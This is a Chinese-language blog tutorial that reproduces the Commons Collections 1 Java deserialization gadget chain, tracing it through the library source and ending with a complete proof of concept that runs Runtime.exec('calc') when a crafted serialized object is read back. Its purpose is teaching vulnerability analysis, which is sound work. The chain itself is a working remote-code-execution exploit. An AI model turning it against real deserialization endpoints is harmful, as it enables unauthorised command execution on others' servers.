java 反序列化 cc1 復現

meraklbz發表於2024-10-03

java反序列化cc1漏洞復現,環境commoncollections3.2.1, java8u65.
分析的時候從執行命令的部分開始,一點一點的倒退回反序列化介面.目的:在java反序列化的時候會利用建構函式來進行物件的構造,那麼我們的目標就是隻呼叫建構函式來執行命令.

原始碼剖析

Transformer

一個介面,定義了transform方法,所有實現了這個介面的子類都得去實現這個方法(萬惡之源了屬於是).

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

InvokerTransformer

該類的位置: org.apache.commons.collections.functors.InvokerTransformer,為了方便閱讀,把沒用到的方法都刪了.

public class InvokerTransformer implements Transformer, Serializable {
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
    
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    
    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var4) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var6) {
                InvocationTargetException ex = var6;
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
            }
        }
    }
}

執行命令的方法為transform,使用前需要呼叫建構函式來進行賦值.
測試:

import org.apache.commons.collections.functors.InvokerTransformer;

public class Main {
    public static void main(String[] args) throws Exception {
        Class[] paramTypes = {String.class};
        Object[] args1 = {"calc"};
        InvokerTransformer it = new InvokerTransformer("exec", paramTypes, args1);
        it.transform(Runtime.getRuntime());
    }
}

成功彈出計算器.
實際上上面就相當於執行了下面的這條語句

Runtime.getRuntime().getClass().getMethod("exec", String.class).invoke(Runtime.getRuntime(), "calc");

那麼如何才能做到不直接呼叫InvokerTransformer方法直接去執行命令呢?

ConstantTransformer

簡化後的程式碼如下

public class ConstantTransformer implements Transformer, Serializable {
    private final Object iConstant;
    
    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }
}

邏輯很簡單,建構函式接受物件,transform方法返回物件.然而這裡就很有說法,由於多型的機制會去呼叫Transformer類的transform方法,這裡是對transform的一個重寫,可以去儲存一個物件,需要的時候呼叫transform方法去返回儲存的物件.

ChainedTransformer

簡化以後得程式碼如下

public class ChainedTransformer implements Transformer, Serializable {
    private final Transformer[] iTransformers;
    
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

建構函式傳入了一個Transformer[]陣列,然後在transform中以鏈式去呼叫每個Transformer物件的transform方法,其引數為手動傳入的object.前者返回值會作為後者的引數被傳入.
測試:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
public class Main {
    public static void main(String[] args) throws Exception {
        ConstantTransformer constanttransformer = new ConstantTransformer(Runtime.getRuntime());
        InvokerTransformer invokertransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
        Transformer[] transformers = {constanttransformer, invokertransformer};
        ChainedTransformer chainedtransformer =  new ChainedTransformer(transformers);
        chainedtransformer.transform(null);

    }
}

第一次呼叫constanttransformer的transform方法,返回了一個Runtime物件,傳入invokertransformer的transform方法中成功的得到了一個初始化過的InvokerTransformer物件,最後呼叫其transform方法彈計算器.
然而由於Runtime類沒有實現Serializable介面介面,無法去進行反序列化.但是Class類實現了,因此我們嘗試利用Runtime.class來實現.
測試:

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
public class Main {
    public static void main(String[] args) throws Exception {
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);
        //獲取類物件
        //Runtime.class

        String methodName1 = "getMethod";
        Class[] paramTypes1 = {String.class, Class[].class};
        Object[] args1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
        //獲取getRuntime方法
        //Runtime.class.getMethod("getRuntime", null)

        String methodName2 = "invoke";
        Class[] paramTypes2 = {Object.class, Object[].class};
        Object[] args2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
        //getRuntime.invoke獲取Runtime物件
        //it1.invoke(null, null)

        String methodName3 = "exec";
        Class[] paramTypes3 = {String.class};
        Object[] args3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
        //Runtime物件執行exec命令
        //it2.exec("calc")

        Transformer[] transformers = {ct, it1, it2, it3};
        new ChainedTransformer(transformers).transform(null);
    }
}

上面的程式碼體現了java反射中的層層利用與ChainedTransformer類的緊密配合,等同於如下程式碼

((Runtime)Runtime.getRuntime().getClass().getMethod("getRuntime", null).invoke(null, null)).exec("calc");

成功的執行命令,彈出計算器.
然而這裡還是呼叫了ChainedTransformer的transform方法,想個辦法把他跳過去.

TransformedMap

類的位置:org.apache.commons.collections.map.TransformedMap

public class TransformedMap extends AbstractInputCheckedMapDecorator implements Serializable {
    protected final Transformer keyTransformer;
    protected final Transformer valueTransformer;

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

我們可以看到可以透過呼叫checkSetValue來呼叫一個Transformer.transform物件的transform方法.那麼如何呼叫這個checkSetValue方法呢?

AbstractInputCheckedMapDecorator

是TransformedMap的父類.

abstract class AbstractInputCheckedMapDecorator extends AbstractMapDecorator {
    protected AbstractInputCheckedMapDecorator() {
    }

    protected abstract Object checkSetValue(Object var1);

    static class MapEntry extends AbstractMapEntryDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return this.entry.setValue(value);
        }
    }

    static class EntrySetIterator extends AbstractIteratorDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        public Object next() {
            Map.Entry entry = (Map.Entry)this.iterator.next();
            return new MapEntry(entry, this.parent);
        }
    }

    static class EntrySet extends AbstractSetDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        protected EntrySet(Set set, AbstractInputCheckedMapDecorator parent) {
            super(set);
            this.parent = parent;
        }

        public Iterator iterator() {
            return new EntrySetIterator(this.collection.iterator(), this.parent);
        }
    }
}

小噴一句,把子類直接寫到父類裡除了增添閱讀障礙沒有任何的好處.
我們看到AbstractInputCheckedMapDecorator的子類MapEntry中的setValue方法呼叫了父類的checksetValue,也就是說可以呼叫到TransformedMap的checksetValue方法.那麼如何呼叫這個setValue呢

AnnotationInvocationHandler

類的位置:sun.reflect.annotation.AnnotationInvocationHandler

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private final Class<? extends Annotation> type;  
    private final Map<String, Object> memberValues;  
    private transient volatile Method[] memberMethods = null;
    AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

	private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }
    }
}

我們可以看到這個readObject類就是反序列化的入口點.其中存在var5呼叫了setValue方法.
那麼這個var5是咋來的呢?核心邏輯是呼叫了var4的next方法.而這個var4則是從this.memberValues中得到的.

Iterator var4 = this.memberValues.entrySet().iterator();
Map.Entry var5 = (Map.Entry)var4.next();

而這個memberValues在建構函式中被賦值

if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } 

而這個next方法在AbstractInputCheckedMapDecorator.EntrySetIterator中有實現(重寫).

static class EntrySetIterator extends AbstractIteratorDecorator {
        private final AbstractInputCheckedMapDecorator parent;

        public Object next() {
            Map.Entry entry = (Map.Entry)this.iterator.next();
            return new MapEntry(entry, this.parent);
        }
    }

會呼叫AbstractInputCheckedMapDecorator.MapEntry的構造方法來構造一個Map.Entry物件

protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

歸納出鏈子

我們歸納整理得到利用鏈如下

Gadget chain:
ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        MapEntry.setValue()
            TransformedMap.checkSetValue()
                ChainedTransformer.transform()
                    ConstantTransformer.transform()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Class.getMethod()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.getRuntime()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

整理得到poc

完整的poc如下

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
        ConstantTransformer ct = new ConstantTransformer(Runtime.class);

        String methodName1 = "getMethod";
        Class[] paramTypes1 = {String.class, Class[].class};
        Object[] args1 = {"getRuntime", null};
        InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);

        String methodName2 = "invoke";
        Class[] paramTypes2 = {Object.class, Object[].class};
        Object[] args2 = {null, null};
        InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);

        String methodName3 = "exec";
        Class[] paramTypes3 = {String.class};
        Object[] args3 = {"calc"};
        InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);

        Transformer[] transformers = {ct, it1, it2, it3};
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        /*
        ChainedTransformer
        */

        HashMap<Object, Object> map = new HashMap<>();
        map.put("value", ""); //解釋二
        Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
        /*
        TransformedMap.decorate
        */

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        annoConstructor.setAccessible(true);
        Object poc = annoConstructor.newInstance(Target.class, decorated); //解釋一
		/*
		AnnotationInvocationHandler
		*/

        serial(poc);
        unserial();
    }

    public static void serial(Object obj) throws IOException {
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));
        out.writeObject(obj);
    }

    public static void unserial() throws IOException, ClassNotFoundException {
        ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));
        in.readObject();
    }
}

需要解釋的包括兩處.
第一: 為什麼在使用反射生成AnnotationInvokationHandler物件的時候最後構造方法的第一個引數要傳入Target.class.
我們回過頭再來看AnnotationInvokationHandler物件的建構函式

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
        Class[] var3 = var1.getInterfaces();
        if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
            this.type = var1;
            this.memberValues = var2;
        } else {
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        }
    }

看這個if判斷語句的邏輯,要求var1是一個註解的Class,同時要求這個註解的介面數為1,並且為Annotation.class.
我們打個斷點除錯一下看看這個Target.class是否滿足條件.
image

發現恰好滿足條件.
第二: 為什麼在構造TransformedMap的時候傳入的鍵為value,值為空?map.put("value", "");
我們翻回頭來看看AnnotationInvokationHandler的readObject方法.

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

看到執行var5.setValue的條件為var7不為空.追述一下var7是怎麼來的.Class var7 = (Class)var3.get(var6);
其中的var3由下面的程式碼生成

AnnotationType.getInstance(Target.class).memberTypes();

實際上返回的是一個map物件,鍵是@Target註解中後設資料的名稱,值為型別.所以var7就是@Target註解的屬性中名為var6的值.也就是說要求@Target中有var6這個屬性即可.
那麼看看@Target中有什麼

public @interface Target {  
        ElementType[] value();  
}

只有value這一個屬性.而var6的生成路線如下

this.memberValues.entrySet().iterator().next().getKey()

也就是說var6是我們傳入的第二個引數(一個Map)中第一個鍵值對的鍵.
所以我們在建立map的時候要放一個鍵為value的鍵值對map.put("value", "");.值是什麼無所謂,因為根本沒有用到這個值.

至此完成了java反序列化cc1的復現.

相關文章